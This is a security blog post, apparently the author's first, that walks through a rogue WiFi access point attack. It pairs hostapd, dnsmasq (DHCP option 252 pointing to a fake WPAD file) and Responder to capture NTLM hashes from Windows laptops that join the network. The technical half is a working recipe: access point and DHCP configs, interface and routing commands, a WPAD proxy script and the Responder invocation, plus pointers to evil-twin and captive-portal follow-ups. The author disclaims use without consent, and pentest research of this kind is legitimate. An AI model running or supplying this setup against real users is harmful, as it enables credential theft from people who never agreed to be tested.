As this is my first blog post, I sincerely hope that you'll forgive and bear with me as I write this.
Some time ago as I was learning WiFi based attacks, I came across creating fake access points to lure users into connecting to it. At the same time a new feature in Responder was added which allowed us to create fake DHCP servers to serve a fake WPAD server, host a fake WPAD config file and later capture hashes. More can be found here: https://g-laurent.blogspot.com/2021/08/responders-dhcp-poisoner.html.This was when I started to wonder if I could use these two together to create a fake access point which allowed me to capture hashes from any Windows machine which connected to the access point.
This blog post is about how I found a novel technique to capture NTLM hashes from windows machines capable of using WiFi. I thoroughly suggest you learn what WPAD is and how hijacking it works currently in internal network pentest. Also I donot endorse that any of you perform this without consent from the victim during or outside of a pentest.
Now let's get straight into it.
So this is how the whole attack will unfold. First as attackers we create a fake access point. For the sake of this blog; let's just call it `Test`. As soon as we create an access point called Test, it will start appearing in the WiFi list of other machines and they can join it if they want. We'll also add a DHCP server backing our fake access point. So anyone who connects to this fake WiFi access point `Test` can successfully connect and also get a valid IP address. The victim gaining a valid IP address from our fake access point is very important here as without a valid IP address and gateway it can't access the fake WPAD file hosted in our gateway (we'll discuss this later). After the victim is connected to our fake access point, using the magic of WPAD (please learn about this before reading further into the blog) WIndows will authenticate to our attacker machine and we gain the victim's NTLM hash. That's it. Very very simple.
The attack seldom requires any intervention from the victim. As long as the victim has a WiFi capable computer we can very easily gain their NTLM hash.
Now for the more technical and attacking side of things.
This attack involves an attacker machine with hostapd, dnsmasq and Responder installed, 1 monitor mode capable wireless card (2 if you also want to conduct an evil-twin attack) and finally a victim machine with Windows installed and WiFi connection available.
NOTE: Make sure your attacker WiFi card is monitor mode capable. Both for Hostapd and the evil-twin attack.
Here's how the whole technique will follow:
1. First we will host a fake access point using `hostapd`.
2. At the same time we'll also host a fake DHCP server using `dnsmasq` which will send the fake WPAD server details to the victim.
3. After this we force set our attacker IP address, subnet mask and that new IP address as the network gateway of that subnet.
3. After this we'll launch `Responder` with the proper options to send a fake WPAD config and host a fake WPAD server which will send WPAD proxy details to our own attacker machine and subsequently proxy and capture NTLM hashes later.
4. Finally we'll conduct a evil-twin attack of sorts to connect the victim to our network. Or in our case we'll just connect to the attacker WiFi access point manually from the victim laptop just for a showcase. In a real attack scenario a hotspot attack or an evil-twin attack will work fine.
5. Our fake DHCP server will send the fake WPAD server details in it's config while the victim asks for DHCP configuration, in turn the victim asks for WPAD config from our attacker machine running Responder which serves the config file containing our server's details.
6. Finally after the connection to our Access Point is completed and its WPAD server set to our attacker machine, Windows will try it's regular initial connections (weather details, microsoft connections, etc); however all these connections go through the WPAD proxy (our Responder listener running in the attacker machine) which will reply with `Authentication required`. The victim will then try to authenticate with their NTLM hash which will be captured through Responder.
7. After capturing the hash we are free to close our fake Access Point and the victim will then go back to connecting to the original Access Point Or we can apply a captive portal attack for further attacks.
NOTE: Always set the routing table and attacker IP AFTER starting hostapd, as hostapd will unset any IP address set in the routing table.
The full steps with their commands are listed below:
1. Hosting a fake access point.
We'll be creating a fake AP using hostapd. The config file for hostapd goes as follows:
interface=wlan1
channel=6
ssid=Test
hw_mode=g
ignore_broadcast_ssid=0
macaddr_acl=0
interface=wlan1
dhcp-range=192.169.1.2, 192.169.1.30, 255.255.255.0, 12h
#dhcp-option=3, 192.169.1.1
#dhcp-option=6, 192.169.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
#address=/#/192.169.1.1
dhcp-option=252,http://192.169.1.1/wpad.dat
sudo systemctl enable dnsmasq and start it using sudo systemctl start dnsmasq
sudo hostapd config.conf.
This will start hostapd which will host a fake Access Point for us.ifconfig wlan1 up 192.169.1.1 netmask 255.255.255.0to set our wlan1's ip address.
route add -net 192.169.1.0 netmask 255.255.255.0 gw 192.169.1.1to set the gateway of the network.
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
./Responder.py -I wlan1 -Pdv
See here how the victim is connected to our fake access point `Test` but cannot access the internet. Note here that we can in-fact also provide the victim with internet connectivity through IP forwarding; however we did not do that here.
And see here while being connected to our fake access point `Test`, the IP address of the victim is exactly somewhere in `192.169.1.x` like we set it in the DHCP config file.




